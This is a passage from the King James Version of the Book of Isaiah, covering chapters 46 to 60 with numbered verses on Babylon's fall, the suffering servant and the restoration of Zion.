+trouble. + +46:8 Remember this, and shew yourselves men: bring it again to mind, O +ye transgressors. + +46:9 Remember the former things of old: for I am God, and there is +none else; I am God, and there is none like me, 46:10 Declaring the +end from the beginning, and from ancient times the things that are not +yet done, saying, My counsel shall stand, and I will do all my +pleasure: 46:11 Calling a ravenous bird from the east, the man that +executeth my counsel from a far country: yea, I have spoken it, I will +also bring it to pass; I have purposed it, I will also do it. + +46:12 Hearken unto me, ye stouthearted, that are far from +righteousness: 46:13 I bring near my righteousness; it shall not be +far off, and my salvation shall not tarry: and I will place salvation +in Zion for Israel my glory. + +47:1 Come down, and sit in the dust, O virgin daughter of Babylon, sit +on the ground: there is no throne, O daughter of the Chaldeans: for +thou shalt no more be called tender and delicate. + +47:2 Take the millstones, and grind meal: uncover thy locks, make bare +the leg, uncover the thigh, pass over the rivers. + +47:3 Thy nakedness shall be uncovered, yea, thy shame shall be seen: I +will take vengeance, and I will not meet thee as a man. + +47:4 As for our redeemer, the LORD of hosts is his name, the Holy One +of Israel. + +47:5 Sit thou silent, and get thee into darkness, O daughter of the +Chaldeans: for thou shalt no more be called, The lady of kingdoms. + +47:6 I was wroth with my people, I have polluted mine inheritance, and +given them into thine hand: thou didst shew them no mercy; upon the +ancient hast thou very heavily laid thy yoke. + +47:7 And thou saidst, I shall be a lady for ever: so that thou didst +not lay these things to thy heart, neither didst remember the latter +end of it. + +47:8 Therefore hear now this, thou that art given to pleasures, that +dwellest carelessly, that sayest in thine heart, I am, and none else +beside me; I shall not sit as a widow, neither shall I know the loss +of children: 47:9 But these two things shall come to thee in a moment +in one day, the loss of children, and widowhood: they shall come upon +thee in their perfection for the multitude of thy sorceries, and for +the great abundance of thine enchantments. + +47:10 For thou hast trusted in thy wickedness: thou hast said, None +seeth me. Thy wisdom and thy knowledge, it hath perverted thee; and +thou hast said in thine heart, I am, and none else beside me. + +47:11 Therefore shall evil come upon thee; thou shalt not know from +whence it riseth: and mischief shall fall upon thee; thou shalt not be +able to put it off: and desolation shall come upon thee suddenly, +which thou shalt not know. + +47:12 Stand now with thine enchantments, and with the multitude of thy +sorceries, wherein thou hast laboured from thy youth; if so be thou +shalt be able to profit, if so be thou mayest prevail. + +47:13 Thou art wearied in the multitude of thy counsels. Let now the +astrologers, the stargazers, the monthly prognosticators, stand up, +and save thee from these things that shall come upon thee. + +47:14 Behold, they shall be as stubble; the fire shall burn them; they +shall not deliver themselves from the power of the flame: there shall +not be a coal to warm at, nor fire to sit before it. + +47:15 Thus shall they be unto thee with whom thou hast laboured, even +thy merchants, from thy youth: they shall wander every one to his +quarter; none shall save thee. + +48:1 Hear ye this, O house of Jacob, which are called by the name of +Israel, and are come forth out of the waters of Judah, which swear by +the name of the LORD, and make mention of the God of Israel, but not +in truth, nor in righteousness. + +48:2 For they call themselves of the holy city, and stay themselves +upon the God of Israel; The LORD of hosts is his name. + +48:3 I have declared the former things from the beginning; and they +went forth out of my mouth, and I shewed them; I did them suddenly, +and they came to pass. + +48:4 Because I knew that thou art obstinate, and thy neck is an iron +sinew, and thy brow brass; 48:5 I have even from the beginning +declared it to thee; before it came to pass I shewed it thee: lest +thou shouldest say, Mine idol hath done them, and my graven image, and +my molten image, hath commanded them. + +48:6 Thou hast heard, see all this; and will not ye declare it? I have +shewed thee new things from this time, even hidden things, and thou +didst not know them. + +48:7 They are created now, and not from the beginning; even before the +day when thou heardest them not; lest thou shouldest say, Behold, I +knew them. + +48:8 Yea, thou heardest not; yea, thou knewest not; yea, from that +time that thine ear was not opened: for I knew that thou wouldest deal +very treacherously, and wast called a transgressor from the womb. + +48:9 For my name's sake will I defer mine anger, and for my praise +will I refrain for thee, that I cut thee not off. + +48:10 Behold, I have refined thee, but not with silver; I have chosen +thee in the furnace of affliction. + +48:11 For mine own sake, even for mine own sake, will I do it: for how +should my name be polluted? and I will not give my glory unto another. + +48:12 Hearken unto me, O Jacob and Israel, my called; I am he; I am +the first, I also am the last. + +48:13 Mine hand also hath laid the foundation of the earth, and my +right hand hath spanned the heavens: when I call unto them, they stand +up together. + +48:14 All ye, assemble yourselves, and hear; which among them hath +declared these things? The LORD hath loved him: he will do his +pleasure on Babylon, and his arm shall be on the Chaldeans. + +48:15 I, even I, have spoken; yea, I have called him: I have brought +him, and he shall make his way prosperous. + +48:16 Come ye near unto me, hear ye this; I have not spoken in secret +from the beginning; from the time that it was, there am I: and now the +Lord GOD, and his Spirit, hath sent me. + +48:17 Thus saith the LORD, thy Redeemer, the Holy One of Israel; I am +the LORD thy God which teacheth thee to profit, which leadeth thee by +the way that thou shouldest go. + +48:18 O that thou hadst hearkened to my commandments! then had thy +peace been as a river, and thy righteousness as the waves of the sea: +48:19 Thy seed also had been as the sand, and the offspring of thy +bowels like the gravel thereof; his name should not have been cut off +nor destroyed from before me. + +48:20 Go ye forth of Babylon, flee ye from the Chaldeans, with a voice +of singing declare ye, tell this, utter it even to the end of the +earth; say ye, The LORD hath redeemed his servant Jacob. + +48:21 And they thirsted not when he led them through the deserts: he +caused the waters to flow out of the rock for them: he clave the rock +also, and the waters gushed out. + +48:22 There is no peace, saith the LORD, unto the wicked. + +49:1 Listen, O isles, unto me; and hearken, ye people, from far; The +LORD hath called me from the womb; from the bowels of my mother hath +he made mention of my name. + +49:2 And he hath made my mouth like a sharp sword; in the shadow of +his hand hath he hid me, and made me a polished shaft; in his quiver +hath he hid me; 49:3 And said unto me, Thou art my servant, O Israel, +in whom I will be glorified. + +49:4 Then I said, I have laboured in vain, I have spent my strength +for nought, and in vain: yet surely my judgment is with the LORD, and +my work with my God. + +49:5 And now, saith the LORD that formed me from the womb to be his +servant, to bring Jacob again to him, Though Israel be not gathered, +yet shall I be glorious in the eyes of the LORD, and my God shall be +my strength. + +49:6 And he said, It is a light thing that thou shouldest be my +servant to raise up the tribes of Jacob, and to restore the preserved +of Israel: I will also give thee for a light to the Gentiles, that +thou mayest be my salvation unto the end of the earth. + +49:7 Thus saith the LORD, the Redeemer of Israel, and his Holy One, to +him whom man despiseth, to him whom the nation abhorreth, to a servant +of rulers, Kings shall see and arise, princes also shall worship, +because of the LORD that is faithful, and the Holy One of Israel, and +he shall choose thee. + +49:8 Thus saith the LORD, In an acceptable time have I heard thee, and +in a day of salvation have I helped thee: and I will preserve thee, +and give thee for a covenant of the people, to establish the earth, to +cause to inherit the desolate heritages; 49:9 That thou mayest say to +the prisoners, Go forth; to them that are in darkness, Shew +yourselves. They shall feed in the ways, and their pastures shall be +in all high places. + +49:10 They shall not hunger nor thirst; neither shall the heat nor sun +smite them: for he that hath mercy on them shall lead them, even by +the springs of water shall he guide them. + +49:11 And I will make all my mountains a way, and my highways shall be +exalted. + +49:12 Behold, these shall come from far: and, lo, these from the north +and from the west; and these from the land of Sinim. + +49:13 Sing, O heavens; and be joyful, O earth; and break forth into +singing, O mountains: for the LORD hath comforted his people, and will +have mercy upon his afflicted. + +49:14 But Zion said, The LORD hath forsaken me, and my Lord hath +forgotten me. + +49:15 Can a woman forget her sucking child, that she should not have +compassion on the son of her womb? yea, they may forget, yet will I +not forget thee. + +49:16 Behold, I have graven thee upon the palms of my hands; thy walls +are continually before me. + +49:17 Thy children shall make haste; thy destroyers and they that made +thee waste shall go forth of thee. + +49:18 Lift up thine eyes round about, and behold: all these gather +themselves together, and come to thee. As I live, saith the LORD, thou +shalt surely clothe thee with them all, as with an ornament, and bind +them on thee, as a bride doeth. + +49:19 For thy waste and thy desolate places, and the land of thy +destruction, shall even now be too narrow by reason of the +inhabitants, and they that swallowed thee up shall be far away. + +49:20 The children which thou shalt have, after thou hast lost the +other, shall say again in thine ears, The place is too strait for me: +give place to me that I may dwell. + +49:21 Then shalt thou say in thine heart, Who hath begotten me these, +seeing I have lost my children, and am desolate, a captive, and +removing to and fro? and who hath brought up these? Behold, I was left +alone; these, where had they been? 49:22 Thus saith the Lord GOD, +Behold, I will lift up mine hand to the Gentiles, and set up my +standard to the people: and they shall bring thy sons in their arms, +and thy daughters shall be carried upon their shoulders. + +49:23 And kings shall be thy nursing fathers, and their queens thy +nursing mothers: they shall bow down to thee with their face toward +the earth, and lick up the dust of thy feet; and thou shalt know that +I am the LORD: for they shall not be ashamed that wait for me. + +49:24 Shall the prey be taken from the mighty, or the lawful captive +delivered? 49:25 But thus saith the LORD, Even the captives of the +mighty shall be taken away, and the prey of the terrible shall be +delivered: for I will contend with him that contendeth with thee, and +I will save thy children. + +49:26 And I will feed them that oppress thee with their own flesh; and +they shall be drunken with their own blood, as with sweet wine: and +all flesh shall know that I the LORD am thy Saviour and thy Redeemer, +the mighty One of Jacob. + +50:1 Thus saith the LORD, Where is the bill of your mother's +divorcement, whom I have put away? or which of my creditors is it to +whom I have sold you? Behold, for your iniquities have ye sold +yourselves, and for your transgressions is your mother put away. + +50:2 Wherefore, when I came, was there no man? when I called, was +there none to answer? Is my hand shortened at all, that it cannot +redeem? or have I no power to deliver? behold, at my rebuke I dry up +the sea, I make the rivers a wilderness: their fish stinketh, because +there is no water, and dieth for thirst. + +50:3 I clothe the heavens with blackness, and I make sackcloth their +covering. + +50:4 The Lord GOD hath given me the tongue of the learned, that I +should know how to speak a word in season to him that is weary: he +wakeneth morning by morning, he wakeneth mine ear to hear as the +learned. + +50:5 The Lord GOD hath opened mine ear, and I was not rebellious, +neither turned away back. + +50:6 I gave my back to the smiters, and my cheeks to them that plucked +off the hair: I hid not my face from shame and spitting. + +50:7 For the Lord GOD will help me; therefore shall I not be +confounded: therefore have I set my face like a flint, and I know that +I shall not be ashamed. + +50:8 He is near that justifieth me; who will contend with me? let us +stand together: who is mine adversary? let him come near to me. + +50:9 Behold, the Lord GOD will help me; who is he that shall condemn +me? lo, they all shall wax old as a garment; the moth shall eat them +up. + +50:10 Who is among you that feareth the LORD, that obeyeth the voice +of his servant, that walketh in darkness, and hath no light? let him +trust in the name of the LORD, and stay upon his God. + +50:11 Behold, all ye that kindle a fire, that compass yourselves about +with sparks: walk in the light of your fire, and in the sparks that ye +have kindled. This shall ye have of mine hand; ye shall lie down in +sorrow. + +51:1 Hearken to me, ye that follow after righteousness, ye that seek +the LORD: look unto the rock whence ye are hewn, and to the hole of +the pit whence ye are digged. + +51:2 Look unto Abraham your father, and unto Sarah that bare you: for +I called him alone, and blessed him, and increased him. + +51:3 For the LORD shall comfort Zion: he will comfort all her waste +places; and he will make her wilderness like Eden, and her desert like +the garden of the LORD; joy and gladness shall be found therein, +thanksgiving, and the voice of melody. + +51:4 Hearken unto me, my people; and give ear unto me, O my nation: +for a law shall proceed from me, and I will make my judgment to rest +for a light of the people. + +51:5 My righteousness is near; my salvation is gone forth, and mine +arms shall judge the people; the isles shall wait upon me, and on mine +arm shall they trust. + +51:6 Lift up your eyes to the heavens, and look upon the earth +beneath: for the heavens shall vanish away like smoke, and the earth +shall wax old like a garment, and they that dwell therein shall die in +like manner: but my salvation shall be for ever, and my righteousness +shall not be abolished. + +51:7 Hearken unto me, ye that know righteousness, the people in whose +heart is my law; fear ye not the reproach of men, neither be ye afraid +of their revilings. + +51:8 For the moth shall eat them up like a garment, and the worm shall +eat them like wool: but my righteousness shall be for ever, and my +salvation from generation to generation. + +51:9 Awake, awake, put on strength, O arm of the LORD; awake, as in +the ancient days, in the generations of old. Art thou not it that hath +cut Rahab, and wounded the dragon? 51:10 Art thou not it which hath +dried the sea, the waters of the great deep; that hath made the depths +of the sea a way for the ransomed to pass over? 51:11 Therefore the +redeemed of the LORD shall return, and come with singing unto Zion; +and everlasting joy shall be upon their head: they shall obtain +gladness and joy; and sorrow and mourning shall flee away. + +51:12 I, even I, am he that comforteth you: who art thou, that thou +shouldest be afraid of a man that shall die, and of the son of man +which shall be made as grass; 51:13 And forgettest the LORD thy maker, +that hath stretched forth the heavens, and laid the foundations of the +earth; and hast feared continually every day because of the fury of +the oppressor, as if he were ready to destroy? and where is the fury +of the oppressor? 51:14 The captive exile hasteneth that he may be +loosed, and that he should not die in the pit, nor that his bread +should fail. + +51:15 But I am the LORD thy God, that divided the sea, whose waves +roared: The LORD of hosts is his name. + +51:16 And I have put my words in thy mouth, and I have covered thee in +the shadow of mine hand, that I may plant the heavens, and lay the +foundations of the earth, and say unto Zion, Thou art my people. + +51:17 Awake, awake, stand up, O Jerusalem, which hast drunk at the +hand of the LORD the cup of his fury; thou hast drunken the dregs of +the cup of trembling, and wrung them out. + +51:18 There is none to guide her among all the sons whom she hath +brought forth; neither is there any that taketh her by the hand of all +the sons that she hath brought up. + +51:19 These two things are come unto thee; who shall be sorry for +thee? desolation, and destruction, and the famine, and the sword: by +whom shall I comfort thee? 51:20 Thy sons have fainted, they lie at +the head of all the streets, as a wild bull in a net: they are full of +the fury of the LORD, the rebuke of thy God. + +51:21 Therefore hear now this, thou afflicted, and drunken, but not +with wine: 51:22 Thus saith thy Lord the LORD, and thy God that +pleadeth the cause of his people, Behold, I have taken out of thine +hand the cup of trembling, even the dregs of the cup of my fury; thou +shalt no more drink it again: 51:23 But I will put it into the hand of +them that afflict thee; which have said to thy soul, Bow down, that we +may go over: and thou hast laid thy body as the ground, and as the +street, to them that went over. + +52:1 Awake, awake; put on thy strength, O Zion; put on thy beautiful +garments, O Jerusalem, the holy city: for henceforth there shall no +more come into thee the uncircumcised and the unclean. + +52:2 Shake thyself from the dust; arise, and sit down, O Jerusalem: +loose thyself from the bands of thy neck, O captive daughter of Zion. + +52:3 For thus saith the LORD, Ye have sold yourselves for nought; and +ye shall be redeemed without money. + +52:4 For thus saith the Lord GOD, My people went down aforetime into +Egypt to sojourn there; and the Assyrian oppressed them without cause. + +52:5 Now therefore, what have I here, saith the LORD, that my people +is taken away for nought? they that rule over them make them to howl, +saith the LORD; and my name continually every day is blasphemed. + +52:6 Therefore my people shall know my name: therefore they shall know +in that day that I am he that doth speak: behold, it is I. + +52:7 How beautiful upon the mountains are the feet of him that +bringeth good tidings, that publisheth peace; that bringeth good +tidings of good, that publisheth salvation; that saith unto Zion, Thy +God reigneth! 52:8 Thy watchmen shall lift up the voice; with the +voice together shall they sing: for they shall see eye to eye, when +the LORD shall bring again Zion. + +52:9 Break forth into joy, sing together, ye waste places of +Jerusalem: for the LORD hath comforted his people, he hath redeemed +Jerusalem. + +52:10 The LORD hath made bare his holy arm in the eyes of all the +nations; and all the ends of the earth shall see the salvation of our +God. + +52:11 Depart ye, depart ye, go ye out from thence, touch no unclean +thing; go ye out of the midst of her; be ye clean, that bear the +vessels of the LORD. + +52:12 For ye shall not go out with haste, nor go by flight: for the +LORD will go before you; and the God of Israel will be your rereward. + +52:13 Behold, my servant shall deal prudently, he shall be exalted and +extolled, and be very high. + +52:14 As many were astonied at thee; his visage was so marred more +than any man, and his form more than the sons of men: 52:15 So shall +he sprinkle many nations; the kings shall shut their mouths at him: +for that which had not been told them shall they see; and that which +they had not heard shall they consider. + +53:1 Who hath believed our report? and to whom is the arm of the LORD +revealed? 53:2 For he shall grow up before him as a tender plant, and +as a root out of a dry ground: he hath no form nor comeliness; and +when we shall see him, there is no beauty that we should desire him. + +53:3 He is despised and rejected of men; a man of sorrows, and +acquainted with grief: and we hid as it were our faces from him; he +was despised, and we esteemed him not. + +53:4 Surely he hath borne our griefs, and carried our sorrows: yet we +did esteem him stricken, smitten of God, and afflicted. + +53:5 But he was wounded for our transgressions, he was bruised for our +iniquities: the chastisement of our peace was upon him; and with his +stripes we are healed. + +53:6 All we like sheep have gone astray; we have turned every one to +his own way; and the LORD hath laid on him the iniquity of us all. + +53:7 He was oppressed, and he was afflicted, yet he opened not his +mouth: he is brought as a lamb to the slaughter, and as a sheep before +her shearers is dumb, so he openeth not his mouth. + +53:8 He was taken from prison and from judgment: and who shall declare +his generation? for he was cut off out of the land of the living: for +the transgression of my people was he stricken. + +53:9 And he made his grave with the wicked, and with the rich in his +death; because he had done no violence, neither was any deceit in his +mouth. + +53:10 Yet it pleased the LORD to bruise him; he hath put him to grief: +when thou shalt make his soul an offering for sin, he shall see his +seed, he shall prolong his days, and the pleasure of the LORD shall +prosper in his hand. + +53:11 He shall see of the travail of his soul, and shall be satisfied: +by his knowledge shall my righteous servant justify many; for he shall +bear their iniquities. + +53:12 Therefore will I divide him a portion with the great, and he +shall divide the spoil with the strong; because he hath poured out his +soul unto death: and he was numbered with the transgressors; and he +bare the sin of many, and made intercession for the transgressors. + +54:1 Sing, O barren, thou that didst not bear; break forth into +singing, and cry aloud, thou that didst not travail with child: for +more are the children of the desolate than the children of the married +wife, saith the LORD. + +54:2 Enlarge the place of thy tent, and let them stretch forth the +curtains of thine habitations: spare not, lengthen thy cords, and +strengthen thy stakes; 54:3 For thou shalt break forth on the right +hand and on the left; and thy seed shall inherit the Gentiles, and +make the desolate cities to be inhabited. + +54:4 Fear not; for thou shalt not be ashamed: neither be thou +confounded; for thou shalt not be put to shame: for thou shalt forget +the shame of thy youth, and shalt not remember the reproach of thy +widowhood any more. + +54:5 For thy Maker is thine husband; the LORD of hosts is his name; +and thy Redeemer the Holy One of Israel; The God of the whole earth +shall he be called. + +54:6 For the LORD hath called thee as a woman forsaken and grieved in +spirit, and a wife of youth, when thou wast refused, saith thy God. + +54:7 For a small moment have I forsaken thee; but with great mercies +will I gather thee. + +54:8 In a little wrath I hid my face from thee for a moment; but with +everlasting kindness will I have mercy on thee, saith the LORD thy +Redeemer. + +54:9 For this is as the waters of Noah unto me: for as I have sworn +that the waters of Noah should no more go over the earth; so have I +sworn that I would not be wroth with thee, nor rebuke thee. + +54:10 For the mountains shall depart, and the hills be removed; but my +kindness shall not depart from thee, neither shall the covenant of my +peace be removed, saith the LORD that hath mercy on thee. + +54:11 O thou afflicted, tossed with tempest, and not comforted, +behold, I will lay thy stones with fair colours, and lay thy +foundations with sapphires. + +54:12 And I will make thy windows of agates, and thy gates of +carbuncles, and all thy borders of pleasant stones. + +54:13 And all thy children shall be taught of the LORD; and great +shall be the peace of thy children. + +54:14 In righteousness shalt thou be established: thou shalt be far +from oppression; for thou shalt not fear: and from terror; for it +shall not come near thee. + +54:15 Behold, they shall surely gather together, but not by me: +whosoever shall gather together against thee shall fall for thy sake. + +54:16 Behold, I have created the smith that bloweth the coals in the +fire, and that bringeth forth an instrument for his work; and I have +created the waster to destroy. + +54:17 No weapon that is formed against thee shall prosper; and every +tongue that shall rise against thee in judgment thou shalt condemn. +This is the heritage of the servants of the LORD, and their +righteousness is of me, saith the LORD. + +55:1 Ho, every one that thirsteth, come ye to the waters, and he that +hath no money; come ye, buy, and eat; yea, come, buy wine and milk +without money and without price. + +55:2 Wherefore do ye spend money for that which is not bread? and your +labour for that which satisfieth not? hearken diligently unto me, and +eat ye that which is good, and let your soul delight itself in +fatness. + +55:3 Incline your ear, and come unto me: hear, and your soul shall +live; and I will make an everlasting covenant with you, even the sure +mercies of David. + +55:4 Behold, I have given him for a witness to the people, a leader +and commander to the people. + +55:5 Behold, thou shalt call a nation that thou knowest not, and +nations that knew not thee shall run unto thee because of the LORD thy +God, and for the Holy One of Israel; for he hath glorified thee. + +55:6 Seek ye the LORD while he may be found, call ye upon him while he +is near: 55:7 Let the wicked forsake his way, and the unrighteous man +his thoughts: and let him return unto the LORD, and he will have mercy +upon him; and to our God, for he will abundantly pardon. + +55:8 For my thoughts are not your thoughts, neither are your ways my +ways, saith the LORD. + +55:9 For as the heavens are higher than the earth, so are my ways +higher than your ways, and my thoughts than your thoughts. + +55:10 For as the rain cometh down, and the snow from heaven, and +returneth not thither, but watereth the earth, and maketh it bring +forth and bud, that it may give seed to the sower, and bread to the +eater: 55:11 So shall my word be that goeth forth out of my mouth: it +shall not return unto me void, but it shall accomplish that which I +please, and it shall prosper in the thing whereto I sent it. + +55:12 For ye shall go out with joy, and be led forth with peace: the +mountains and the hills shall break forth before you into singing, and +all the trees of the field shall clap their hands. + +55:13 Instead of the thorn shall come up the fir tree, and instead of +the brier shall come up the myrtle tree: and it shall be to the LORD +for a name, for an everlasting sign that shall not be cut off. + +56:1 Thus saith the LORD, Keep ye judgment, and do justice: for my +salvation is near to come, and my righteousness to be revealed. + +56:2 Blessed is the man that doeth this, and the son of man that +layeth hold on it; that keepeth the sabbath from polluting it, and +keepeth his hand from doing any evil. + +56:3 Neither let the son of the stranger, that hath joined himself to +the LORD, speak, saying, The LORD hath utterly separated me from his +people: neither let the eunuch say, Behold, I am a dry tree. + +56:4 For thus saith the LORD unto the eunuchs that keep my sabbaths, +and choose the things that please me, and take hold of my covenant; +56:5 Even unto them will I give in mine house and within my walls a +place and a name better than of sons and of daughters: I will give +them an everlasting name, that shall not be cut off. + +56:6 Also the sons of the stranger, that join themselves to the LORD, +to serve him, and to love the name of the LORD, to be his servants, +every one that keepeth the sabbath from polluting it, and taketh hold +of my covenant; 56:7 Even them will I bring to my holy mountain, and +make them joyful in my house of prayer: their burnt offerings and +their sacrifices shall be accepted upon mine altar; for mine house +shall be called an house of prayer for all people. + +56:8 The Lord GOD, which gathereth the outcasts of Israel saith, Yet +will I gather others to him, beside those that are gathered unto him. + +56:9 All ye beasts of the field, come to devour, yea, all ye beasts in +the forest. + +56:10 His watchmen are blind: they are all ignorant, they are all dumb +dogs, they cannot bark; sleeping, lying down, loving to slumber. + +56:11 Yea, they are greedy dogs which can never have enough, and they +are shepherds that cannot understand: they all look to their own way, +every one for his gain, from his quarter. + +56:12 Come ye, say they, I will fetch wine, and we will fill ourselves +with strong drink; and to morrow shall be as this day, and much more +abundant. + +57:1 The righteous perisheth, and no man layeth it to heart: and +merciful men are taken away, none considering that the righteous is +taken away from the evil to come. + +57:2 He shall enter into peace: they shall rest in their beds, each +one walking in his uprightness. + +57:3 But draw near hither, ye sons of the sorceress, the seed of the +adulterer and the whore. + +57:4 Against whom do ye sport yourselves? against whom make ye a wide +mouth, and draw out the tongue? are ye not children of transgression, +a seed of falsehood. + +57:5 Enflaming yourselves with idols under every green tree, slaying +the children in the valleys under the clifts of the rocks? 57:6 Among +the smooth stones of the stream is thy portion; they, they are thy +lot: even to them hast thou poured a drink offering, thou hast offered +a meat offering. Should I receive comfort in these? 57:7 Upon a lofty +and high mountain hast thou set thy bed: even thither wentest thou up +to offer sacrifice. + +57:8 Behind the doors also and the posts hast thou set up thy +remembrance: for thou hast discovered thyself to another than me, and +art gone up; thou hast enlarged thy bed, and made thee a covenant with +them; thou lovedst their bed where thou sawest it. + +57:9 And thou wentest to the king with ointment, and didst increase +thy perfumes, and didst send thy messengers far off, and didst debase +thyself even unto hell. + +57:10 Thou art wearied in the greatness of thy way; yet saidst thou +not, There is no hope: thou hast found the life of thine hand; +therefore thou wast not grieved. + +57:11 And of whom hast thou been afraid or feared, that thou hast +lied, and hast not remembered me, nor laid it to thy heart? have not I +held my peace even of old, and thou fearest me not? 57:12 I will +declare thy righteousness, and thy works; for they shall not profit +thee. + +57:13 When thou criest, let thy companies deliver thee; but the wind +shall carry them all away; vanity shall take them: but he that putteth +his trust in me shall possess the land, and shall inherit my holy +mountain; 57:14 And shall say, Cast ye up, cast ye up, prepare the +way, take up the stumblingblock out of the way of my people. + +57:15 For thus saith the high and lofty One that inhabiteth eternity, +whose name is Holy; I dwell in the high and holy place, with him also +that is of a contrite and humble spirit, to revive the spirit of the +humble, and to revive the heart of the contrite ones. + +57:16 For I will not contend for ever, neither will I be always wroth: +for the spirit should fail before me, and the souls which I have made. + +57:17 For the iniquity of his covetousness was I wroth, and smote him: +I hid me, and was wroth, and he went on frowardly in the way of his +heart. + +57:18 I have seen his ways, and will heal him: I will lead him also, +and restore comforts unto him and to his mourners. + +57:19 I create the fruit of the lips; Peace, peace to him that is far +off, and to him that is near, saith the LORD; and I will heal him. + +57:20 But the wicked are like the troubled sea, when it cannot rest, +whose waters cast up mire and dirt. + +57:21 There is no peace, saith my God, to the wicked. + +58:1 Cry aloud, spare not, lift up thy voice like a trumpet, and shew +my people their transgression, and the house of Jacob their sins. + +58:2 Yet they seek me daily, and delight to know my ways, as a nation +that did righteousness, and forsook not the ordinance of their God: +they ask of me the ordinances of justice; they take delight in +approaching to God. + +58:3 Wherefore have we fasted, say they, and thou seest not? wherefore +have we afflicted our soul, and thou takest no knowledge? Behold, in +the day of your fast ye find pleasure, and exact all your labours. + +58:4 Behold, ye fast for strife and debate, and to smite with the fist +of wickedness: ye shall not fast as ye do this day, to make your voice +to be heard on high. + +58:5 Is it such a fast that I have chosen? a day for a man to afflict +his soul? is it to bow down his head as a bulrush, and to spread +sackcloth and ashes under him? wilt thou call this a fast, and an +acceptable day to the LORD? 58:6 Is not this the fast that I have +chosen? to loose the bands of wickedness, to undo the heavy burdens, +and to let the oppressed go free, and that ye break every yoke? 58:7 +Is it not to deal thy bread to the hungry, and that thou bring the +poor that are cast out to thy house? when thou seest the naked, that +thou cover him; and that thou hide not thyself from thine own flesh? +58:8 Then shall thy light break forth as the morning, and thine health +shall spring forth speedily: and thy righteousness shall go before +thee; the glory of the LORD shall be thy rereward. + +58:9 Then shalt thou call, and the LORD shall answer; thou shalt cry, +and he shall say, Here I am. If thou take away from the midst of thee +the yoke, the putting forth of the finger, and speaking vanity; 58:10 +And if thou draw out thy soul to the hungry, and satisfy the afflicted +soul; then shall thy light rise in obscurity, and thy darkness be as +the noon day: 58:11 And the LORD shall guide thee continually, and +satisfy thy soul in drought, and make fat thy bones: and thou shalt be +like a watered garden, and like a spring of water, whose waters fail +not. + +58:12 And they that shall be of thee shall build the old waste places: +thou shalt raise up the foundations of many generations; and thou +shalt be called, The repairer of the breach, The restorer of paths to +dwell in. + +58:13 If thou turn away thy foot from the sabbath, from doing thy +pleasure on my holy day; and call the sabbath a delight, the holy of +the LORD, honourable; and shalt honour him, not doing thine own ways, +nor finding thine own pleasure, nor speaking thine own words: 58:14 +Then shalt thou delight thyself in the LORD; and I will cause thee to +ride upon the high places of the earth, and feed thee with the +heritage of Jacob thy father: for the mouth of the LORD hath spoken +it. + +59:1 Behold, the LORD's hand is not shortened, that it cannot save; +neither his ear heavy, that it cannot hear: 59:2 But your iniquities +have separated between you and your God, and your sins have hid his +face from you, that he will not hear. + +59:3 For your hands are defiled with blood, and your fingers with +iniquity; your lips have spoken lies, your tongue hath muttered +perverseness. + +59:4 None calleth for justice, nor any pleadeth for truth: they trust +in vanity, and speak lies; they conceive mischief, and bring forth +iniquity. + +59:5 They hatch cockatrice' eggs, and weave the spider's web: he that +eateth of their eggs dieth, and that which is crushed breaketh out +into a viper. + +59:6 Their webs shall not become garments, neither shall they cover +themselves with their works: their works are works of iniquity, and +the act of violence is in their hands. + +59:7 Their feet run to evil, and they make haste to shed innocent +blood: their thoughts are thoughts of iniquity; wasting and +destruction are in their paths. + +59:8 The way of peace they know not; and there is no judgment in their +goings: they have made them crooked paths: whosoever goeth therein +shall not know peace. + +59:9 Therefore is judgment far from us, neither doth justice overtake +us: we wait for light, but behold obscurity; for brightness, but we +walk in darkness. + +59:10 We grope for the wall like the blind, and we grope as if we had +no eyes: we stumble at noon day as in the night; we are in desolate +places as dead men. + +59:11 We roar all like bears, and mourn sore like doves: we look for +judgment, but there is none; for salvation, but it is far off from us. + +59:12 For our transgressions are multiplied before thee, and our sins +testify against us: for our transgressions are with us; and as for our +iniquities, we know them; 59:13 In transgressing and lying against the +LORD, and departing away from our God, speaking oppression and revolt, +conceiving and uttering from the heart words of falsehood. + +59:14 And judgment is turned away backward, and justice standeth afar +off: for truth is fallen in the street, and equity cannot enter. + +59:15 Yea, truth faileth; and he that departeth from evil maketh +himself a prey: and the LORD saw it, and it displeased him that there +was no judgment. + +59:16 And he saw that there was no man, and wondered that there was no +intercessor: therefore his arm brought salvation unto him; and his +righteousness, it sustained him. + +59:17 For he put on righteousness as a breastplate, and an helmet of +salvation upon his head; and he put on the garments of vengeance for +clothing, and was clad with zeal as a cloak. + +59:18 According to their deeds, accordingly he will repay, fury to his +adversaries, recompence to his enemies; to the islands he will repay +recompence. + +59:19 So shall they fear the name of the LORD from the west, and his +glory from the rising of the sun. When the enemy shall come in like a +flood, the Spirit of the LORD shall lift up a standard against him. + +59:20 And the Redeemer shall come to Zion, and unto them that turn +from transgression in Jacob, saith the LORD. + +59:21 As for me, this is my covenant with them, saith the LORD; My +spirit that is upon thee, and my words which I have put in thy mouth, +shall not depart out of thy mouth, nor out of the mouth of thy seed, +nor out of the mouth of thy seed's seed, saith the LORD, from +henceforth and for ever. + +60:1 Arise, shine; for thy light is come, and the glory of the LORD is +risen upon thee. + +60:2 For, behold, the darkness shall cover the earth, and gross +darkness the people: but the LORD shall arise upon thee, and his glory +shall be seen upon thee. + +60:3 And the Gentiles shall come to thy light, and kings to the +brightness of thy rising. + +60:4 Lift up thine eyes round about, and see: all they gather +themselves together, they come to thee: thy sons shall come from far, +and thy daughters shall be nursed at thy side. + +60:5 Then thou shalt see, and flow together, and thine heart shall +fear, and be enlarged; because the abundance of the sea shall be +converted unto thee, the forces of the Gentiles shall come unto thee. + +60:6 The multitude of camels shall cover thee, the dromedaries of +Midian and Ephah; all they from Sheba shall come: they shall bring +gold and incense; and they shall shew forth the praises of the LORD. + +60:7 All the flocks of Kedar shall be gathered together unto thee, the +rams of Nebaioth shall minister unto thee: they shall come up with +acceptance on mine altar, and I will glorify the house of my glory. + +60:8 Who are these that fly as a cloud, and as the doves to their +windows? 60:9 Surely the isles shall wait for me, and the ships of +Tarshish first, to bring thy sons from far, their silver and their +gold with them, unto the name of the LORD thy God, and to the Holy One +of Israel, because he hath glorified thee. + +60:10 And the sons of strangers shall build up thy walls, and their +kings shall minister unto thee: for in my wrath I smote thee, but in +my favour have I had mercy on thee. + +60:11 Therefore thy gates shall be open continually; they shall not be +shut day nor night; that men may bring unto thee the forces of the +Gentiles, and that their kings may be brought. + +60:12 For the nation and kingdom that will not serve thee shall +perish; yea, those nations shall be utterly wasted. + +60:13 The glory of Lebanon shall come unto thee, the fir tree, the +pine 